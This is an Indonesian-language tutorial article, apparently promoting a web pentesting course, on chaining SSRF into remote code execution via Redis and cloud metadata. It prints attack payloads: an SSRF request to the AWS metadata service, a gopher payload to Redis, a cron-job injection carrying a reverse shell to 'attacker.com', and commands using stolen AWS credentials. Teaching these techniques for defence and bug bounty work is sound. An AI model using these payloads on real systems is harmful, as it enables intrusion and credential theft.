Banyak developer dan security engineer meremehkan SSRF karena tidak menimbulkan dampak langsung yang terlihat. Tidak ada pop-up error, tidak ada crash, tidak ada data yang tampak bocor. Tapi di balik ketenangan itu, seorang attacker yang sabar sedang membangun jembatan menuju kendali penuh atas server kamu.

Artikel ini akan membedah bagaimana SSRF yang tampak sepele bisa di-chain menjadi Remote Code Execution (RCE) serangan paling kritis dalam dunia keamanan aplikasi web.

 

---

Apa Itu SSRF? Recap Singkat Sebelum Bicara RCE

SSRF (Server-Side Request Forgery) adalah serangan di mana attacker memaksa server korban untuk membuat HTTP request ke lokasi yang ditentukan oleh attacker baik ke jaringan internal maupun layanan cloud yang seharusnya tidak bisa diakses dari luar.

Pola serangan dasarnya sederhana:

1. Attacker menemukan parameter yang menerima input berupa URL
2. Server mengeksekusi request tersebut dari sisinya sendiri (bukan dari browser user)
3. Attacker menerima response dari resource internal yang tidak semestinya dapat diakses

Contoh payload paling klasik, mengakses metadata service AWS:

GET /fetch?url=http://169.254.169.254/latest/meta-data

Jika server tidak memvalidasi input URL tersebut, attacker sudah selangkah masuk ke dalam infrastruktur internal kamu.

SSRF sudah masuk OWASP Top 10 sejak 2021. Bukan tanpa alasan dampak nyatanya sudah terbukti di banyak kasus besar dunia.

 

---

Dari SSRF Biasa Menuju RCE: Inilah Jalur Eskalasi Sesungguhnya

SSRF sendiri mungkin terasa tidak terlalu mengerikan. Tapi ketika digabungkan dengan kondisi infrastruktur tertentu, ia bisa menjadi titik awal eskalasi yang berujung pada kendali penuh server.

Berikut adalah jalur eskalasi (attack chain) yang umum ditemukan di engagement red team dan laporan bug bounty:

1. SSRF Basic
   └─ Akses endpoint internal (metadata cloud, localhost, internal services)
      ↓
2. Info Gathering
   └─ Dapatkan credentials IAM, environment variables, service configuration
      ↓
3. Pivot ke Service Internal
   └─ Tembus Redis, Elasticsearch, Kubernetes API yang berjalan tanpa auth
      ↓
4. Exploit Internal Service
   └─ Abuse Redis SLAVEOF, Gopher protocol, atau internal API yang lemah
      ↓
5. RCE ✓
   └─ Write webshell, inject cron job, atau eksekusi arbitrary command

Inilah yang disebut vulnerability chaining, SSRF sendiri mungkin bernilai CVSS 6.5, tapi setelah di-chain, nilainya bisa melompat ke CVSS 9.8+.

 

---

Studi Kasus 1: SSRF + Redis = RCE

Salah satu skenario paling populer di dunia pentesting adalah eksploitasi Redis melalui SSRF menggunakan Gopher protocol.

Kenapa Redis?

Redis adalah in-memory database yang sering berjalan di port 6379 tanpa autentikasi, terutama di environment development atau infrastruktur yang salah konfigurasi. Redis tidak dirancang untuk exposed ke publik. Namun jika attacker sudah punya SSRF, mereka bisa berkomunikasi langsung dengan Redis dari dalam server.

Teknik eksploitasi menggunakan Gopher protocol:

# SSRF payload menuju Redis via Gopher
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A

# Langkah injeksi cron job ke /etc/cron.d/
CONFIG SET dir /etc/cron.d
CONFIG SET dbfilename root
SET x "\n* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1"
BGSAVE

Hasil: Server menyimpan cron job berbahaya ke sistem. Satu menit kemudian, reverse shell terbuka ke server attacker. Game over.

Tools yang umum dipakai untuk mengotomatiskan teknik ini: Gopherus, dan custom Python script.

 

---

Studi Kasus 2: SSRF di Cloud → Credential Theft → RCE

Untuk aplikasi yang berjalan di atas infrastruktur cloud seperti AWS, GCP, atau Azure, jalur menuju RCE bisa lebih elegan dan sulit terdeteksi.

Jalur eskalasi lengkapnya:

Langkah 1 — SSRF ke Metadata Service:

http://169.254.169.254/latest/meta-data/iam/security-credentials/nama-role

Langkah 2 — Dapatkan AWS credential dari response:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "xxxxxxxxxxxxxxx",
  "Token": "FwoGZXIvYXdz..."
}

Langkah 3 — Gunakan AWS CLI dengan credential curian:

aws s3 ls --profile stolen
aws ec2 describe-instances --profile stolen

Langkah 4 — Akses resource sesuai permission role (S3 bucket, EC2 instance, Lambda function, ECR registry)

Langkah 5 — Deploy backdoor atau eksekusi command:

• Inject user data ke EC2 instance baru
• Invoke Lambda dengan payload berbahaya
• Push image berbahaya ke ECR → RCE terkonfirmasi ✓

 

---

SSRF di Dunia Bug Bounty: Vector yang Paling Sering Ditemukan

Jika kamu aktif di platform bug bounty seperti Bug Bounty Program dari CyberArmyID platform, mengenali vector SSRF adalah skill yang sangat bernilai. Berikut empat titik masuk yang paling sering ditemukan:

• Import dari URL: Fitur import gambar/dokumen dari link eksternal
• Webhook Integration: Callback URL yang tidak divalidasi
• PDF Generator: Render HTML dari URL  rentan SSRF blind
• Internal API Proxy: Endpoint yang forward request ke service lain

Tip praktis untuk hunter: Perhatikan nama parameter berikut saat testing:

url=    endpoint=    callback=    redirect=    fetch=

dest=   path=        uri=         link=        src=

SSRF yang berhasil di-chain ke RCE umumnya diklasifikasikan sebagai Critical (P1) dengan reward mencapai $5.000 – $50.000+ di program bug bounty besar.

 

---

Kesimpulan

SSRF bukan sekadar bug kecil yang bisa diabaikan. Dalam kondisi infrastruktur yang umum ditemukan di dunia nyata Redis tanpa auth, cloud metadata yang accessible, internal service tanpa autentikasi, SSRF adalah tiket awal menuju kompromi penuh sistem.

Yang membedakan pentester biasa dengan pentester handal adalah kemampuan untuk melihat potensi eskalasi di balik sebuah kerentanan yang "terlihat sepele."

 

Mau Kuasai SSRF, dan Teknik Web Pentesting Lainnya? Mulai di CyberAcademyID

Program Live Class Web Penetration Testing dari CyberAcademyID dirancang khusus untuk pemula hingga enthusiast yang ingin serius masuk dunia keamanan siber. Belajar langsung dari praktisi aktif, bukan sekadar teori di buku.

➡️Klik disini untuk daftar Program Live Class Web Penetration Testing Batch 8